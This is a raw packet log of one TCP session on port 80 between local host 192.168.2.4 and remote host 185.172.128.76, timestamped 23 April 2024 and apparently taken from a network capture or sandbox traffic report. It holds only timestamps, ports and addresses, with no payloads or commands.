Apr 23, 2024 09:38:17.143065929 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.289133072 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.289211988 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.340135098 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.340174913 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.340210915 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.340235949 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.340249062 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.340276957 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.340286970 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.340291023 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.340322971 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.340331078 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.340361118 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.340399027 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.340403080 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.340420008 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.340435982 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.340439081 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.340471983 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.340502977 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.340507030 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.340523958 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.340543032 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.340550900 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.340580940 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.340617895 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.340626955 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.340653896 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.340693951 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.340698004 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.340747118 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.344044924 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.344084024 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.344125032 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.344160080 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.490196943 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.490236998 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.490319014 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.490319014 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.541625977 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.541666985 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.541683912 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.541706085 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.541712046 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.541743994 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.541769981 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.541798115 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.541802883 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.541838884 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.541874886 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.541882992 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.541913033 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.541919947 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.541949987 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.541960001 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.541986942 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.542023897 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.542031050 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.542062044 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.542097092 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.542105913 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.542133093 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.542167902 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.542179108 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.542220116 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.542222977 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.542264938 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.544908047 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.544945955 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.544970989 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.544991016 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.691282034 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.691374063 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.743381023 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.743424892 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.743432045 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.743462086 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.743469954 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.743501902 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.743504047 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.743539095 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.743546009 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.743576050 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.743581057 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.743612051 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.743618011 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.743649006 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.743685007 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.743695021 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.743721962 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.743730068 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.743758917 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.743762970 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.743796110 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.743805885 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.743833065 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.743841887 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.743869066 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.743875027 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.743906021 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.743942022 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.743947983 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.744015932 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.745760918 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.745800972 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.745810032 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.745837927 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.745847940 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.746023893 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.892334938 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.892400980 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.892410994 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.892447948 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.945193052 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.945252895 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.945255041 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.945293903 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.945331097 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.945333004 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.945353985 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.945369959 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.945379019 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.945408106 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.945426941 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.945450068 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.945457935 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.945488930 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.945493937 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.945527077 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.945533991 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.945565939 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.945601940 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.945612907 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.945637941 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.945645094 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.945677042 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.945683956 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.945714951 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.945723057 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.945754051 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.945760965 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.945791006 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:17.945833921 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:17.992583990 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.193746090 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.295630932 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.295675039 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.295701027 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.295715094 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.295726061 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.295753956 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.295790911 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.295804977 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.295826912 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.295856953 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.295862913 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.295871973 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.295901060 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.295905113 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.295942068 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.295958996 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.295994997 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.296037912 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.346667051 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.346728086 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.346738100 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.346772909 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.346786022 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.346810102 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.346817970 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.346848965 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.346857071 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.346887112 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.346909046 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.346925020 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.346929073 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.346962929 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.346976042 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.347002029 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.347023010 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.347040892 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.347049952 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.347076893 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.347084045 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.347119093 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.497072935 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.497133017 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.497167110 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.497174025 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.497216940 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.497247934 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.497253895 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.497277975 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.497291088 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.497323990 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.497329950 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.497363091 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.497371912 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.497409105 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.497442961 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.497448921 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.497510910 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.498660088 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.498897076 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.548254013 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.548316956 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.548345089 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.548356056 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.548393011 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.548398972 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.548440933 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.548470020 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.548476934 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.548476934 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.548507929 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.548518896 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.548548937 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.548557043 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.548588037 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.548595905 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.548625946 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.548635006 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.548665047 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.548672915 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.548736095 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.698518038 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.698626995 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.698664904 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.698663950 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.698708057 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.698739052 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.698746920 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.698762894 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.698782921 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.698813915 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.698820114 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.698837042 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.698856115 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.698884010 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.698894024 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.698923111 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.698930979 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.698959112 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.699312925 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.699764013 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.699806929 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.699831009 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.699899912 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.749778986 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.749835968 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.749867916 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.749876022 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.749905109 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.749916077 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.749943972 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.749953032 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.749989986 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.750015974 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.750027895 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.750065088 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.750092030 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.750102043 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.750139952 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.750165939 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.750175953 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.750267029 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.900238037 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.900302887 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.900337934 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.900341988 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.900378942 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.900410891 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.900417089 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.900454998 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.900485992 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.900491953 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.900531054 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.900561094 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.900568008 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.900608063 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.900635958 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.900646925 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.900682926 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.900717020 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.900722027 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.900753021 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.901154041 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.951438904 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.951499939 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.951535940 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.951541901 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.951576948 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.951584101 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.951622009 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.951627016 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.951663017 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.951695919 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.951703072 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.951735020 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.951740980 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.951772928 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.951778889 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.951806068 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.951817989 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.951848984 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:18.951857090 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:18.952050924 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.102097034 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.102149963 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.102188110 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.102225065 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.102226019 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.102266073 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.102267981 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.102302074 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.102304935 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.102344990 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.102379084 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.102382898 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.102420092 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.102421045 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.102454901 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.102458000 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.102494955 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.102529049 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.102534056 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.102571964 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.102606058 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.102607012 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:19.102643013 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.103256941 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:19.154966116 CEST	80	49733	185.172.128.76	192.168.2.4
